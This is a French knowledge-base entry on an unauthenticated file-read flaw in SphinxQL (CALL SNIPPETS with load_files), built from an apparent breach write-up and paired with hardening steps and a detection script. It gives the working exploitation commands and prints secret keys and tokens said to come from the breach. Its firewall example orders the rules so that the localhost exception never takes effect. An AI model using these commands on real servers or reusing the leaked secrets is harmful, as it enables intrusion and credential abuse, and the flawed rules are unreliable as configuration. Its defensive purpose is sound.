Explorer
KNOW-PAT-068

SphinxQL - Lecture arbitraire de fichiers (CALL SNIPPETS load_files)

Domaine
cybersecu
Type
pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

SphinxQL - Lecture arbitraire de fichiers (CALL SNIPPETS load_files)

Problème

Sphinx Search (moteur de recherche full-text) expose un protocole compatible MySQL (SphinxQL) sur le port 9306. La fonctionnalité CALL SNIPPETS avec load_files=1 permet de lire le contenu de n'importe quel fichier texte sur le serveur, sans authentification. Cette vulnérabilité a permis l'extraction de 12 fichiers de configuration en quelques minutes.

Contexte archive Ygg

  • Source : https://yggleak.top/fr/home/ygg-dossier#phase-4-sphinxql-la-porte-ouverte
  • Phase 4-5 — SphinxQL exploitation
  • Port : 9306 exposé sur Internet
  • Service : SphinxQL (protocole compatible MySQL)
  • Fichiers extraits : sphinx.conf, httpd.conf, httpd-vhosts.conf, config.php, database.php, Auth.php, User.php, php.ini, my.ini, mysql_error.log, hosts, httpd-ssl.conf

Technique d'exploitation

1. Connexion SphinxQL sans auth

mysql -h X.X.X.X -P 9306
# Connexion immédiate, aucun identifiant requis

2. Énumération des index

SHOW TABLES;

3. Lecture de fichiers avec CALL SNIPPETS

CALL SNIPPETS('C:/chemin/vers/fichier', 'users', 'mot_cle', 1 AS load_files, 50000 AS around, 0 AS limit);

Explication : load_files=1 charge le contenu du fichier spécifié comme source. Le service Sphinx tourne avec des privilèges suffisants pour lire l'ensemble du filesystem.

4. Fichiers cibles critiques

Fichier Secrets extraits
config.php Clés d'encryption CodeIgniter
database.php Credentials MySQL
httpd-vhosts.conf Configuration Apache, chemins
php.ini Configuration PHP, extensions
my.ini Configuration MySQL
hosts Mappings IP/nom
httpd-ssl.conf Configuration SSL

5. Secrets extraits

TuvqJBccgQNsPFnAjPVrAqSF3Gmkhr     # Clé encryption CodeIgniter
hAb0xu&#O2pYevZ65Rid9NuhC09WD8     # SECRET_KEY
re_R9K79zd1_EZwHghQpDc6TvJkjxjcXJ9gB  # Token
0x2B8C9E0705c3b48501Eb3d817d39D3C95A9AE0aA  # Wallet ETH
xf7mTOvmX2tHeXDz2CkkmJddUdia8wu6   # ANNOUNCE_SIGNATURE_KEY

6. Tentative d'exécution de code

CREATE FUNCTION test RETURNS INT SONAME 'test.dll';
-- dlopen() failed: The specified module could not be found

Le chargement de DLL UDF est supporté par Sphinx, mais les délimiteurs de chemin sont bloqués dans SONAME. Sans moyen d'écriture de fichier dans C:/sphinx/bin/plugins/, pas de RCE via cette voie.

Solution protectif — Sécurisation de Sphinx Search

1. Ne JAMAIS exposer SphinxQL sur Internet

# Configuration sphinx.conf
searchd {
    listen = 127.0.0.1:9306:mysql41  # Uniquement localhost
    # PAS listen = 0.0.0.0:9306
    # PAS listen = *:9306
}

2. Désactiver load_files

# sphinx.conf
searchd {
    # Désactiver la lecture de fichiers externes
    # Pas d'option directe, mais on peut restreindre les permissions
}

3. Permissions du service Sphinx

# Créer un utilisateur dédié
useradd -r -s /bin/false sphinx

# Lancer Sphinx avec cet utilisateur
sudo -u sphinx searchd --config /etc/sphinx/sphinx.conf

# Restreindre les permissions
chmod 600 /etc/sphinx/sphinx.conf
chown sphinx:sphinx /etc/sphinx/sphinx.conf

# Chroot (si possible)
# Lancer Sphinx dans un chroot ou container Docker

4. Firewall strict

# Bloquer le port 9306 depuis Internet
iptables -A INPUT -p tcp --dport 9306 -j DROP

# Autoriser uniquement localhost
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 9306 -j ACCEPT
iptables -A INPUT -p tcp --dport 9306 -j DROP

5. Monitoring et détection

# detect_sphinxql_abuse.py
import mysql.connector
from datetime import datetime, timedelta

class SphinxQLDetector:
    def __init__(self, host='localhost', port=9306):
        self.conn = mysql.connector.connect(
            host=host,
            port=port,
            user='sphinx_monitor'
        )
    
    def detect_file_reads(self, threshold=5):
        """Détecte les CALL SNIPPETS avec load_files excessifs"""
        cursor = self.conn.cursor()
        
        # Vérifier les logs (si disponibles)
        # Sinon, monitorer les requêtes en temps réel
        
        query = """
        SELECT COUNT(*) FROM query_log 
        WHERE query LIKE '%CALL SNIPPETS%' 
          AND query LIKE '%load_files%'
          AND timestamp > DATE_SUB(NOW(), INTERVAL 1 HOUR)
        """
        
        cursor.execute(query)
        count = cursor.fetchone()[0]
        
        if count > threshold:
            return {
                'alert': 'SPHINXQL_FILE_READ_ABUSE',
                'count': count,
                'threshold': threshold,
                'timestamp': datetime.now()
            }
        
        return None

6. Prévention : pas de fichiers sensibles accessibles

# Restreindre les permissions des fichiers de config
chmod 600 /var/www/config.php
chmod 600 /etc/apache2/sites-available/*
chmod 600 /etc/mysql/my.cnf

# Lancer le serveur web avec un utilisateur sans privilèges
# (pas root, pas Administrator)

Checklist de validation

  • SphinxQL uniquement sur 127.0.0.1 (pas 0.0.0.0)
  • Port 9306 bloqué depuis Internet (firewall)
  • Service Sphinx tourne avec un utilisateur non-privilégié
  • Fichiers de config non lisibles par l'utilisateur Sphinx
  • load_files désactivé ou restreint (si possible)
  • Monitoring des requêtes CALL SNIPPETS
  • Pas de fichiers sensibles dans les répertoires web
  • Chroot ou container pour le service Sphinx
  • Logs d'accès Sphinx analysés régulièrement
  • Honeypot fichier (faux config.php avec canary token)

Références